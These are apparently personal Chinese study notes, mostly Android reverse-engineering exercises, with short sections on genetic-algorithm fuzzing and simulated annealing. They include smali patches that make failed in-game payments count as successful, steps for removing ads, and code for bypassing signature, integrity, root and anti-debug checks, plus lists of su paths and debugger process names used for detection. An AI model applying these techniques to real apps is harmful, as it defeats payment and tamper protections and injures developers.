无线电

a

RFID智能卡

Mifare Classic智能卡的加密算法:[proxmark.nl/files/Documents/13.56 MHz - MIFARE Classic/The_MIFARE_Hack.pdf](http://proxmark.nl/files/Documents/13.56 MHz - MIFARE Classic/The_MIFARE_Hack.pdf)

物联网

s是

UART接口

通过约定比特率进行通信,通常包含如下比特

  • 起始位:用于指示基于UART协议通信的起始位置
  • 数据位:需要传输的实际数据

[ Untitled ]

遗传算法

常用步骤

变异、交叉、适应度计算、选择

变异(基因突变)

设置变异率,判断当前个体是否可以变异

1
2
3
mutation_rate = 0.1
if random.random() < mutation_rate:
....

设置个体变异比例,判断当前个体能够变异的bits在哪里

1
2
3
4
mutate_point = random.sample(range(1, len(chromosome)), int(len(chromosome) * mutation_point_rate))
mutate_point.sort()
for i in mutate_point:
chromosome[i] = chromosome[i] ^ 1

交叉(染色体交换)

可以设置一个交叉点,也可以设置多个交叉点,通常是百分之五十交叉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 交叉操作
def crossover(parent1, parent2):
if random.random() < crossover_rate:
# 随机选择50个不同的交叉点
crossover_points = random.sample(range(1, len(parent1)), 50)
crossover_points.sort() # 将交叉点按顺序排列
child1 = []
child2 = []
parent_switch = True # 用于交替选择父代
for i in range(len(parent1)):
if i in crossover_points:
# 如果当前位置是交叉点,则切换到另一个父代
#print("test")
parent_switch = not parent_switch
if parent_switch:
child1.append(parent1[i])
child2.append(parent2[i])
else:
child1.append(parent2[i])
child2.append(parent1[i])
return child1, child2
else:
return parent1, parent2

适应度计算

即将生成的后代个体与期望达到的目标进行对比,计算差距,即适应度。

  • 二进制测试:与能够触发crash的目标进行适应度计算
  • CANID测试:与能够响应车机的CANID进行适应度计算
1
2
3
4
5
6
7
8
9
10
# 计算适应度函数
def fitness(chromosome):
data = []
for i in range(num_targets):
target_value = input_data[i]
binary_str = ''.join(map(str, chromosome[i * num_bits:(i + 1) * num_bits]))
decimal_value = int(binary_str, 2)
data.append(decimal_value)
fitness_value = sum(abs(data[i] - input_data[i]) for i in range(num_targets))
return fitness_value

这里的input_data即为期望达到的目标

选择

当种群达到一定规模后,需要控制种群数量,留下更多的优质基因,那么这时候就需要进行自然选择了,也就是选择那些和期望目标差距更小,适应度更小的后代。

1
2
3
4
5
6
7
8
# 选择操作
def selection(population):
fitness_values = [fitness(chromosome) for chromosome in population]
total_fitness = sum(fitness_values)
probabilities = [fitness_value / total_fitness for fitness_value in fitness_values]
selected_indices = random.choices(range(population_size), probabilities, k=population_size)
selected_population = [population[i] for i in selected_indices]
return selected_population

去世

按理说应该要加入这个算法的,即当繁殖几代之后,那些老一代就应该死去,不管是不是最优的

主要遗传算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 主要遗传算法循环
def genetic_algorithm():
# print("aaaa")
population = initialize_population()
for generation in range(num_generations):
population = selection(population)
new_population = []
while len(new_population) < population_size:
parent1, parent2 = random.sample(population, 2)
child1, child2 = crossover(parent1, parent2)
child1 = mutate(child1)
child2 = mutate(child2)
new_population.extend([child1, child2])
population = new_population
best_chromosome = min(population, key=fitness)
best_data = []
for i in range(num_targets):
binary_str = ''.join(map(str, best_chromosome[i * num_bits:(i + 1) * num_bits]))
decimal_value = hex(int(binary_str, 2))
best_data.append(decimal_value)
print(f"Generation {generation + 1}: Fitness = {fitness(best_chromosome)}, Data = {best_data}")

依据设定最大种群数量,不断进行繁殖,直到种群数量已满,再进行下一轮的繁殖得到的后代应该进行自然选择。

模拟退火

主要就是降温和计算概率是否替换新的一代。

以旅行商TSP问题为例子

总的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def simulated_annealing_tsp(cities, initial_temperature=1000.0, cooling_rate=0.95, min_temperature=0.1):
# 生成一个初始路径
current_path = list(range(len(cities)))
random.shuffle(current_path)
current_distance = total_distance(current_path)

temperature = initial_temperature

while temperature > min_temperature:
# 生成一个新路径
new_path = current_path.copy()
index1, index2 = random.sample(range(len(new_path)), 2)
new_path[index1], new_path[index2] = new_path[index2], new_path[index1]
new_distance = total_distance(new_path)

# 判断新路径是否被接受
if new_distance < current_distance:
current_path, current_distance = new_path, new_distance
else:
delta = new_distance - current_distance
probability = math.exp(-delta / temperature)
if random.random() < probability:
current_path, current_distance = new_path, new_distance

# 降低温度
temperature *= cooling_rate

return current_path, current_distance

# 执行模拟退火算法
sa_best_path, sa_best_distance = simulated_annealing_tsp(cities)
print("最优路径:", sa_best_path)
print("最优距离:", total_distance(sa_best_path))

  • 设定初始温度,降温比例,最小温度,初代路径

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    #初始温度
    initial_temperature=1000.0
    #降温率
    cooling_rate=0.95
    #最小温度
    min_temperature=0.1
    #初代路径
    current_path = list(range(len(cities)))
    random.shuffle(current_path)
    current_distance = total_distance(current_path)

    temperature = initial_temperature
  • 判断是否达到最低温度

    1
    while temperature > min_temperature:
    • 生成新的路径

      • 如果新的路径更优秀,距离更短,那么就直接替换

        1
        2
        3
        4
        5
        6
        7
        8
        9
        #生成新的路径
        new_path = current_path.copy()
        index1, index2 = random.sample(range(len(new_path)), 2)
        new_path[index1], new_path[index2] = new_path[index2], new_path[index1]
        new_distance = total_distance(new_path)

        # 判断新路径是否被接受,如果距离更短,无条件接收
        if new_distance < current_distance:
        current_path, current_distance = new_path, new_distance
      • 如果新的一代更差,那么就依据当前温度,计算替换概率,(温度越高,概率越大),概率越大的,新的替换旧的概率就越大,然后降低问题。

        这个计算概率不知道怎么个计算法

        1
        2
        3
        4
        5
        6
        7
        else:
        #计算概率
        delta = new_distance - current_distance
        probability = math.exp(-delta / temperature)
        #依据概率判断是否进行距离路径替换
        if random.random() < probability:
        current_path, current_distance = new_path, new_distance
      • 降低温度

        1
        2
        # 降低温度
        temperature *= cooling_rate
  • 依次类推,直到达到最低温度跳出循环

Android逆向

教我兄弟学Android逆向

03 破解第一个Android游戏

切水果大作战

方法一

《新人贴》初次尝试破解内购小游戏:切水果大作战 - 『移动安全区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

正常打开搜索失败字符串即可

image-20230918145730271

定位到找到对应的三个函数payResultSuccesspayResultFalsepayResultCancel

image-20230918145809775

可以用jd-gui打开分析代码

image-20230918145918972

同样搜索可以定位到对应的函数

image-20230918145938340

然后在AndroidKillsmali代码窗口中将payResultSuccess的代码原封不动复制到payResultFalsepayResultCancel即可,最后编译即可。

image-20230918150342671

方法二

可以通过修改跳转来使得任意点击均可跳转到payResultSuccess

全局搜索payResultFalse,在MiGuSdkPay$1.smali中有对应的switch跳转语句

image-20230918153302711

这里的

1
2
.line 54
packed-switch p1, :pswitch_data_0

即为声明switch语句,跳转至pswitch_data_0,在这个结构语句里面具体进行跳转

1
2
3
4
5
6
.line 54
:pswitch_data_0
.packed-switch 0x1
:pswitch_0
:pswitch_1
.end packed-switch

那么就是值为0则跳转pswitch_0,为1则跳转pswitch_1

查看对应的java源代码

image-20230918152641129

可以看到对应的一些跳转,依据选择不同,那么就在smali代码中修改对应的跳转即可,即将pswitch_0修改为pswitch_1即可。

08 IDA爆破签名验证

主要获取到可以导入jni.h的知识,在TIPS

09 IDA动态破解登陆验证

主要获取到IDA动态调试.so的知识,在TIPS

10 静态分析反调试apk

init_array和JNI_OnLoad会在so加载的时候就开始执行,所以程序也有可能会在这里开启线程进行反调试。

反调试点

  • checkport

    在MainActivity中调用了

    image-20240117150345567

    如果存在结果,即0x5d8a=23946端口被占用,那么就会exit,否则就挑战成功。

    可以通过android_server -p23947设置端口来绕过

  • init_array

    在.so文件加载时就会被运行,比JNI_OnLoad早

    image-20240117150857630

    对应函数

    image-20240117151012814

    跳转函数

    image-20240117151307128

    即fget按行读取,总共6次遍历,获取/proc/xx/status的第六行,即TracePid,查看里面的数据是否大于0,大于0则代表程序正在被调试,即退出。

    image-20240117151614732

    可以刷机改内核,使得TracerPid永远为0

    逆向修改内核,绕过TracerPID反调试 - 『移动安全区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

  • JNI_OnLoad函数

    在执行System.loadLibrary("xxx.so")时被调用

    image-20240117152056226

    进入SearchObjProcess函数

    image-20240117152231674

    查看是否有这些进程,有就退出

    可以将android_server修改为其他名称

11 动态调试init_array

没成功,寄

不过调试最开始的需要在手机中这样运行才行,在Frida中好像也讲过

1
am start -D -n demo2.jni.com.myapplication/.MainActivity

安卓逆向这档事

课程二、初识APK文件结构、双开、汉化、基础修改

参考基础知识中的汉化知识块。

汉化未知语言

同时MT管理器还有一键翻译的功能,下载对应的翻译插件即可。

课后作业

汉化

可以先进行通用搜索

image-20240125092914594

查找到resources.arsc,这个也是汉化大头

image-20240125093020630

然后可以直接点击翻译模式

image-20240125093006776

点击[DEFAULT]

image-20240125093112008

找到对应字符串即可修改

image-20240125093155655

应用双开

MT管理器就可以

替换图片

通过图片资源ID,在XML搜索中查找到的XML,一般是用来定义图片布局大小和加载路径的,可以通过修改这个布局达到去除图片和替换图片的目的

image-20240125100604466

MT不显示资源ID时,可以点击如下设置,取消ID转名称,这样好查找

image-20240125100647160

然后找到app:srcCompat即可,复制这个7f0d000b资源ID

image-20240125100728804

随后到resources.arsc中的编辑器

image-20240125101214945

通过ID定位资源

image-20240125101229576

即可查看到对应的资源路径,然后替换图片即可

image-20240125102954025

课程三、初识smali、VIP终结者

有些字符串是一个资源,不是写在代码里面,使用开发者助手查找时通常为0x7xxxxx这样的类型,那么就在MT管理器里面反编译classes.dex用整型的16进制进行搜索

image-20230920173517991

image-20230920173719749

找到修改即可

image-20230920173732547

课程四、恭喜获得广告&弹窗静默卡

获取Activity记录

可以用MT管理器来获取一个APK启动的Activity的记录,在MT主界面左上角点击三横线图标展开,启动Activity记录服务

image-20230921085806851

然后打开对应的APK,切换回MT管理器即可查看到

image-20230921090029390

去除广告

对于广告来说,去除的方法通常有如下几种

  • 第一种:修改加载时间,把广告的显示时间修改为0秒即可

    获取广告Activity的名称,反编译classes.dex进行类名搜索

    image-20230921091645061

    然后找到类的smali路径进行搜索

    image-20230921100539630

    再进行代码搜索

    image-20230921100626230

    进入到如下的AdActivity类中代码进行分析

    image-20230921104708223

    即在主函数onCreate中调用了广告代码loadAd,随后启动广告,持续3000ms

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    protected void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    setContentView(2131427362);
    loadAd();
    }
    //....
    private final void loadAd() {
    this.timeoutHandler.removeMessages(MSG_AD_TIMEOUT);
    this.timeoutHandler.sendEmptyMessageDelayed(MSG_AD_TIMEOUT, 3000);
    }

    那么将3000ms调成0ms即可跳过广告。

  • 第二种:修改Activity执行顺序,跳过广告的Activity

    这个最好还是不用,只需要在AndroidManifest.xml中将主Activity修改为自己需要的就行,比如这里就直接将主Activity修改为第三关的Activity。但是很多的Activity都会加载资源,直接跳转到后面的Acitivity容易导致应用GG

  • 第三种:修改切换Activity的代码

    即找到调用Activity的代码,将调用广告Activity处的代码直接修改为调用第三关的Acitvity

    首先还是查找一下广告Activity,然后需要排查一下,本身的Activity去除一下,查找调用到广告的Activity,排查找到com.zj.wuaipojie.ui.Adapter中有调用

    image-20230921110629477

    进入查看定位关键代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    private static final void m0onCreateViewHolder$lambda-0(ViewHolder viewHolder, View view) {
    int adapterPosition = viewHolder.getAdapterPosition();
    Intent intent;
    if (adapterPosition == 0) {
    intent = new Intent();
    intent.setClass(view.getContext(), ChallengeFirst.class);
    view.getContext().startActivity(intent);
    } else if (adapterPosition == 1) {
    intent = new Intent();
    intent.setClass(view.getContext(), ChallengeSecond.class);
    view.getContext().startActivity(intent);
    } else if (adapterPosition == 2) {
    intent = new Intent();
    intent.setClass(view.getContext(), AdActivity.class);
    view.getContext().startActivity(intent);
    } else if (adapterPosition == 3) {
    intent = new Intent();
    intent.setClass(view.getContext(), ChallengeFourth.class);
    view.getContext().startActivity(intent);
    } else if (adapterPosition == 4) {
    intent = new Intent();
    intent.setClass(view.getContext(), ChallengeFifth.class);
    view.getContext().startActivity(intent);
    }
    }

    可以看到这里进入第三关时会先加载广告Acitivity,那么这里把进入第三关的代码修改为直接进入第三关的Activity即可,在smali代码中进行修改,将Lcom/zj/wuaipojie/ui/AdActivity修改为Lcom/zj/wuaipojie/ui/ChallengeSecond即可。

    image-20230921111702702

    然后保存重新安装即可。

弹窗修改

最主要的是定位弹窗在哪。

针对更新弹窗而言,一般都是在代码逻辑里判断新版本和当前版本是否版本号一致,那么可以直接修改XML中的versiocode为最新版本即可

image-20230921112413531

还有的可以用算法助手工具进行直接Hook,有弹窗定位,关键词屏蔽功能等,这样就可以把某些返回键禁止的弹窗给hook了。

  • 修改dex代码

    使用开发助手的日志功能对弹窗进行定位,找到对应的代码,注释掉show方法修改即可。

    image-20230921142007647

  • 抓包修改响应体

    使用开发助手->布局查看功能找到横幅广告图片的view Id在哪,修改高度宽度即可

    image-20230921141310674

    image-20230921142647394

    随后进行XML搜索即可,修改长宽。

    image-20230921165853598

    另外也可以加入一段代码

    1
    android:visibility="gone"

课后作业

使用算法助手的弹窗定位功能,定位到关键函数,这个函数是被混淆过的函数。

image-20240125145728792

复制这个方法名称,在MT中搜索

image-20240125145840175

定位之后,里面有三个函数都会有弹窗调用

image-20240125150024308

都把那个show给注释掉即可,或者查找调用点,在调用点处注释即可

或者使用关键字”弹窗”来定位代码也是一样的。

课程五、1000-7=?&动态调试&Log插桩

动态调试

  • 首先需要将AndroidManifest.xml中加入调试权限

    image-20230928101038713

    然后重新安装,再把安装包放入JEB进行分析,在需要下断点的地方按ctrl + b即可下断点。

  • 随后使用adb连上手机,输入如下命令开启调试功能

    1
    adb shell am start -D -n com.zj.wuaipojie/.ui.MainActivity

    命令解析为

    adb shell am start -D -n
    adb shell am start -D -n 包名/类名
    am start -n 表示启动一个activity
    am start -D 表示将应用设置为可调试模式

    这个类名为主类名才行。

    输入命令后,在手机中会显示如下弹窗

    image-20230928101325955

  • 之后点击JEB上的调试即可

    image-20230928101341269

其他的调试方法有点麻烦,不研究了。

Log插桩

  • 将插桩的.dex文件添加到apk中,长按出现添加按钮

image-20230928102311161

image-20230928102327640

image-20230928102342731

  • 随后在需要获取的寄存器值的位置,加入如下代码

    1
    invoke-static {对应寄存器}, Lcom/mtools/LogUtils;->v(Ljava/lang/Object;)V

    如下图所示

    image-20230928103457975

    获取v0的值

课后作业

算法助手启用onClick监听,分析到是在MainActivity中,或者通过字符串搜索定位资源ID,然后定位资源ID调用的代码

image-20240125153055436

那么在该类中查找一下onClick,可以找到对应的函数

image-20240125153141447

直接让checkSN永远返回1即可,在MT管理器中查找修改,添加如下即可

image-20240125154047803

动态调试的话,也还是有点麻烦,拉到把。

课程六、校验的N次方-签名校验对抗、PM代{过}{滤}理、IO重定向

检测校验

签名校验

通常就是校验包的hash值是否被修改

  • 普通签名校验

    系统将应用的签名信息封装在 PackageInfo 中,调用 PackageManager 的 getPackageInfo(String packageName, int flags) 即可获取指定包名的签名信息

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    private boolean SignCheck() {
    String trueSignMD5 = "d0add9987c7c84aeb7198c3ff26ca152";
    String nowSignMD5 = "";
    try {
    // 得到签名的MD5
    PackageInfo packageInfo = getPackageManager().getPackageInfo(getPackageName(),PackageManager.GET_SIGNATURES);
    Signature[] signs = packageInfo.signatures;
    String signBase64 = Base64Util.encodeToString(signs[0].toByteArray());
    nowSignMD5 = MD5Utils.MD5(signBase64);
    } catch (PackageManager.NameNotFoundException e) {
    e.printStackTrace();
    }
    return trueSignMD5.equals(nowSignMD5);
    }

    这种签名一般在签名校验的部分,注释掉签名校验错误的代码,或者将那个trueSignMD5签名修改为实际签名即可。

  • 校验Application

  • CRC校验

    获取dex的crc的值,即当修改了dex,它的值必定会发生改变

    1
    2
    ZipEntry entry = new ZipFile(getPackageCodePath()).getEntry("classes.dex");
    Log.e("zj2595", "dexCrc:" + entry.getCrc());
  • hash校验

    获取整个APK的hash值,然后进行比对

root检测

检测方式
  • 检查设备的 build tags 是否包含 test-keys。这通常是用于测试的设备,因此如果检测到这个标记,则可以认为设备已被 root。

  • 检查设备是否存在一些特定的文件,这些文件通常被用于执行 root 操作。如果检测到这些文件,则可以认为设备已被 root。比如如下一些常见的

    1
    "/system/app/Superuser.apk", "/sbin/su", "/system/bin/su", "/system/xbin/su", "/data/local/xbin/su", "/data/local/bin/su", "/system/sd/xbin/su","/system/bin/failsafe/su", "/data/local/su", "/su/bin/su
  • 执行which su,来查看是否有输出

对抗手段
  • IO重定向使文件不可读
  • 修改Android源码,去除常见指纹
  • 算法助手等Hook

模拟器检测

检测方式

通过检测系统的 Build 对象来判断当前设备是否为模拟器。具体方法是检测 Build.FINGERPRINT 属性是否包含字符串 "generic"

对抗手段

模拟器检测对抗 (notion.site)

签名定位

  • 一般通过算法助手定位闪退的日志

签名校验对抗

  • 一键过签名工具:

    MT、NP、ARMPro、CNFIX、Modex

  • PM代理

    来源于:https://github.com/fourbrother/HookPmsSignature

    使用PM手撕没成功,不是很会

    smali.jar:从smali转为dex

    1
    java -jar smali.jar assemble -o 输出目录 输入目录

    baksmali.jar:从dex转为smali

    1
    java -jar baksmali.jar d classes.dex
  • IO重定向

  • 不签名安装

签名对抗还是手撕签名好一点,可以用一些hook助手来查找签名

PM代理有点过时,但是对于某些应用签名还是可以搞定的。

普通签名

可以用算法助手进行拦截

PM代理

  • 首先PmsHookBinderInvocationHandler.smali和ServiceManagerWraper.smali

  • 修改ServiceManagerWraper.smali中的内容,将签名信息和包名修改为指定安装包信息

    签名信息为如下原始数据内容

    image-20240125165748164

  • 然后将两个smali文件放到一个文件夹,使用命令

    1
    java -jar smali.jar assemble -o HookPMS.dex .\zhengji\Hook\

    生成得到HookPMS.dex

  • 随后将HookPMS.dex导入安装包,重新命名classes2.dex,重新打包

    image-20240125170224796

  • 随后搜索attachBaseContext方法,在MainApplication中

    image-20240125170348573

    加入如下代码

    1
    invoke-static {p1}, Lzhengji/Hook/ServiceManagerWraper;->hookPMS(Landroid/content/Context;)V

    注意要和HookPMS.dex中的路径一致

  • Pixel4不行,用模拟器可以跑通

    image-20240125173039659

IO重定向

功能

  • 让文件只读不可写
  • 禁止访问文件
  • 路径替换

用处

  • 过签名校验,当校验时让它读取原包
  • 风控对抗,某些APP会记录启动次数
  • 过Root检测、Xposed检测

原理

hook了底层打开文件的一些路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
using namespace std;  
string packname;
string origpath;
string fakepath;

int (*orig_open)(const char *pathname, int flags, ...);
int (*orig_openat)(int,const char *pathname, int flags, ...);
FILE *(*orig_fopen)(const char *filename, const char *mode);
static long (*orig_syscall)(long number, ...);
int (*orig__NR_openat)(int,const char *pathname, int flags, ...);

void* (*orig_dlopen_CI)(const char *filename, int flag);
void* (*orig_dlopen_CIV)(const char *filename, int flag, const void *extinfo);
void* (*orig_dlopen_CIVV)(const char *name, int flags, const void *extinfo, void *caller_addr);

static inline bool needs_mode(int flags) {
return ((flags & O_CREAT) == O_CREAT) || ((flags & O_TMPFILE) == O_TMPFILE);
}
bool startsWith(string str, string sub){
return str.find(sub)==0;
}

bool endsWith(string s,string sub){
return s.rfind(sub)==(s.length()-sub.length());
}
bool isOrigAPK(string path){

if(path==origpath){
return true;
}
return false;
}
//该函数的功能是在打开一个文件时进行拦截,并在满足特定条件时将文件路径替换为另一个路径

//fake_open 函数有三个参数:
//pathname:一个字符串,表示要打开的文件的路径。
//flags:一个整数,表示打开文件的方式,例如只读、只写、读写等。
//mode(可选参数):一个整数,表示打开文件时应用的权限模式。
int fake_open(const char *pathname, int flags, ...) {
mode_t mode = 0;
if (needs_mode(flags)) {
va_list args;
va_start(args, flags);
mode = static_cast<mode_t>(va_arg(args, int));
va_end(args);
}
//LOGI("open, path: %s, flags: %d, mode: %d",pathname, flags ,mode);
//这里被写死了,只能在这个路径下放入原包
string cpp_path= pathname;
if(isOrigAPK(cpp_path)){
LOGI("libc_open, redirect: %s, --->: %s",pathname, fakepath.data());
return orig_open("/data/user/0/com.zj.wuaipojie/files/base.apk", flags, mode);
}
return orig_open(pathname, flags, mode);

}

//该函数的功能是在打开一个文件时进行拦截,并在满足特定条件时将文件路径替换为另一个路径

//fake_openat 函数有四个参数:
//fd:一个整数,表示要打开的文件的文件描述符。
//pathname:一个字符串,表示要打开的文件的路径。
//flags:一个整数,表示打开文件的方式,例如只读、只写、读写等。
//mode(可选参数):一个整数,表示打开文件时应用的权限模式。
//openat 函数的作用类似于 open 函数,但是它使用文件描述符来指定文件路径,而不是使用文件路径本身。这样,就可以在打开文件时使用相对路径,而不必提供完整的文件路径。
//例如,如果要打开相对于当前目录的文件,可以使用 openat 函数,而不是 open 函数,因为 open 函数只能使用绝对路径。
//
int fake_openat(int fd, const char *pathname, int flags, ...) {
mode_t mode = 0;
if (needs_mode(flags)) {
va_list args;
va_start(args, flags);
mode = static_cast<mode_t>(va_arg(args, int));
va_end(args);
}
LOGI("openat, fd: %d, path: %s, flags: %d, mode: %d",fd ,pathname, flags ,mode);
string cpp_path= pathname;
if(isOrigAPK(cpp_path)){
LOGI("libc_openat, redirect: %s, --->: %s",pathname, fakepath.data());
return orig_openat(fd,fakepath.data(), flags, mode);
}
return orig_openat(fd,pathname, flags, mode);

}
FILE *fake_fopen(const char *filename, const char *mode) {

string cpp_path= filename;
if(isOrigAPK(cpp_path)){
return orig_fopen(fakepath.data(), mode);
}
return orig_fopen(filename, mode);
}
//该函数的功能是在执行系统调用时进行拦截,并在满足特定条件时修改系统调用的参数。
//syscall 函数是一个系统调用,是程序访问内核功能的方法之一。使用 syscall 函数可以调用大量的系统调用,它们用于实现操作系统的各种功能,例如打开文件、创建进程、分配内存等。
//
static long fake_syscall(long number, ...) {
void *arg[7];
va_list list;

va_start(list, number);
for (int i = 0; i < 7; ++i) {
arg[i] = va_arg(list, void *);
}
va_end(list);
if (number == __NR_openat){
const char *cpp_path = static_cast<const char *>(arg[1]);
LOGI("syscall __NR_openat, fd: %d, path: %s, flags: %d, mode: %d",arg[0] ,arg[1], arg[2], arg[3]);
if (isOrigAPK(cpp_path)){
LOGI("syscall __NR_openat, redirect: %s, --->: %s",arg[1], fakepath.data());
return orig_syscall(number,arg[0], fakepath.data() ,arg[2],arg[3]);
}
}
return orig_syscall(number, arg[0], arg[1], arg[2], arg[3], arg[4], arg[5], arg[6]);

}

//函数的功能是获取当前应用的包名、APK 文件路径以及库文件路径,并将这些信息保存在全局变量中
//函数调用 GetObjectClass 和 GetMethodID 函数来获取 context 对象的类型以及 getPackageName 方法的 ID。然后,函数调用 CallObjectMethod 函数来调用 getPackageName 方法,获取当前应用的包名。最后,函数使用 GetStringUTFChars 函数将包名转换为 C 字符串,并将包名保存在 packname 全局变量中
//接着,函数使用 fakepath 全局变量保存了 /data/user/0/<packname>/files/base.apk 这样的路径,其中 <packname> 是当前应用的包名。
//然后,函数再次调用 GetObjectClass 和 GetMethodID 函数来获取 context 对象的类型以及 getApplicationInfo 方法的 ID。然后,函数调用 CallObjectMethod 函数来调用 getApplicationInfo 方法,获取当前应用的 ApplicationInfo 对象。
//它先调用 GetObjectClass 函数获取 ApplicationInfo 对象的类型,然后调用 GetFieldID 函数获取 sourceDir 字段的 ID。接着,函数使用 GetObjectField 函数获取 sourceDir 字段的值,并使用 GetStringUTFChars 函数将其转换为 C 字符串。最后,函数将 C 字符串保存在 origpath 全局变量中,表示当前应用的 APK 文件路径。
//最后,函数使用 GetFieldID 和 GetObjectField 函数获取 nativeLibraryDir 字段的值,并使用 GetStringUTFChars 函数将其转换为 C 字符串。函数最后调用 LOGI 函数打印库文件路径,但是并没有将其保存在全局变量中。

extern "C" JNIEXPORT void JNICALL
Java_com_zj_wuaipojie_util_SecurityUtil_hook(JNIEnv *env, jclass clazz, jobject context) {
jclass conext_class = env->GetObjectClass(context);
jmethodID methodId_pack = env->GetMethodID(conext_class, "getPackageName",
"()Ljava/lang/String;");
auto packname_js = reinterpret_cast<jstring>(env->CallObjectMethod(context, methodId_pack));
const char *pn = env->GetStringUTFChars(packname_js, 0);
packname = string(pn);

env->ReleaseStringUTFChars(packname_js, pn);
//LOGI("packname: %s", packname.data());
fakepath= "/data/user/0/"+ packname +"/files/base.apk";

jclass conext_class2 = env->GetObjectClass(context);
jmethodID methodId_pack2 = env->GetMethodID(conext_class2,"getApplicationInfo","()Landroid/content/pm/ApplicationInfo;");
jobject application_info = env->CallObjectMethod(context,methodId_pack2);
jclass pm_clazz = env->GetObjectClass(application_info);

jfieldID package_info_id = env->GetFieldID(pm_clazz,"sourceDir","Ljava/lang/String;");
auto sourceDir_js = reinterpret_cast<jstring>(env->GetObjectField(application_info,package_info_id));
const char *sourceDir = env->GetStringUTFChars(sourceDir_js, 0);
origpath = string(sourceDir);
LOGI("sourceDir: %s", sourceDir);

jfieldID package_info_id2 = env->GetFieldID(pm_clazz,"nativeLibraryDir","Ljava/lang/String;");
auto nativeLibraryDir_js = reinterpret_cast<jstring>(env->GetObjectField(application_info,package_info_id2));
const char *nativeLibraryDir = env->GetStringUTFChars(nativeLibraryDir_js, 0);
LOGI("nativeLibraryDir: %s", nativeLibraryDir);
//LOGI("%s", "Start Hook");

//启动hook
void *handle = dlopen("libc.so",RTLD_NOW);
auto pagesize = sysconf(_SC_PAGE_SIZE);
auto addr = ((uintptr_t)dlsym(handle,"open") & (-pagesize));
auto addr2 = ((uintptr_t)dlsym(handle,"openat") & (-pagesize));
auto addr3 = ((uintptr_t)fopen) & (-pagesize);
auto addr4 = ((uintptr_t)syscall) & (-pagesize);

//解除部分机型open被保护
mprotect((void*)addr, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC);
mprotect((void*)addr2, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC);
mprotect((void*)addr3, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC);
mprotect((void*)addr4, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC);

DobbyHook((void *)dlsym(handle,"open"), (void *)fake_open, (void **)&orig_open);
DobbyHook((void *)dlsym(handle,"openat"), (void *)fake_openat, (void **)&orig_openat);
DobbyHook((void *)fopen, (void *)fake_fopen, (void**)&orig_fopen);
DobbyHook((void *)syscall, (void *)fake_syscall, (void **)&orig_syscall);
}

具体实现

查找到check_crc的调用地方

点击罗盘

image-20240124151147745

长按check_crc

image-20240124151213668

即可找到目的方法

aaa

然后在开头写入如下代码,注意这个只是调用代码,实际的重定向的代码是一个so中的代码,作者已经写入到安装包了,我们只需要调用即可,后续需要自己将so打入apk

1
2
3
4
5
6
7
sget-object p10, Lcom/zj/wuaipojie/util/ContextUtils;->INSTANCE:Lcom/zj/wuaipojie/util/ContextUtils;  

invoke-virtual {p10}, Lcom/zj/wuaipojie/util/ContextUtils;->getContext()Landroid/content/Context;

move-result-object p10

invoke-static {p10}, Lcom/zj/wuaipojie/util/SecurityUtil;->hook(Landroid/content/Context;)V

随后在软件数据目录中新建files文件夹,放入原安装包

image-20240124151726068

重新命名为base.apk

image-20240124151959135

在我的测试中,hash可以过,crc过不了

反调试

反调试方法

  • 安卓自带的

    1
    2
    3
    4
    5
    6
    fun checkForDebugger() {  
    if (Debug.isDebuggerConnected()) {
    // 如果调试器已连接,则终止应用程序
    System.exit(0)
    }
    }
  • debuggable属性

    先检测手机的debuggable属性,没有检测到再检测APK内部的xml的那个debuggable属性

  • ptrace检测

    1
    2
    3
    4
    int ptrace_protect()//ptrace附加自身线程 会导致此进程TracerPid 变为父进程的TracerPid 即zygote
    {
    return ptrace(PTRACE_TRACEME,0,0,0);;//返回-1即为已经被调试
    }
  • 调试进程名称检测

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    int SearchObjProcess()
    {
    FILE* pfile=NULL;
    char buf[0x1000]={0};

    pfile=popen("ps","r");
    if(NULL==pfile)
    {
    //LOGA("SearchObjProcess popen打开命令失败!\n");
    return -1;
    }
    // 获取结果
    //LOGA("popen方案:\n");
    while(fgets(buf,sizeof(buf),pfile))
    {

    char* strA=NULL;
    char* strB=NULL;
    char* strC=NULL;
    char* strD=NULL;
    strA=strstr(buf,"android_server");//通过查找匹配子串判断
    strB=strstr(buf,"gdbserver");
    strC=strstr(buf,"gdb");
    strD=strstr(buf,"fuwu");
    if(strA || strB ||strC || strD)
    {
    return 1;
    // 执行到这里,判定为调试状态

    }
    }
    pclose(pfile);
    return 0;
    }

反调试对抗

https://bbs.pediy.com/thread-268155.htm

frida检测

https://github.com/xxr0ss/AntiFrida

课后作业

  • 普通签名校验:

    重新签名安装,检测到应用退出,开启算法助手退出拦截和日志捕获,定位到com.zj.wuaipojie.ui.ChallengeFifth.onCreate

    image-20240126090748593

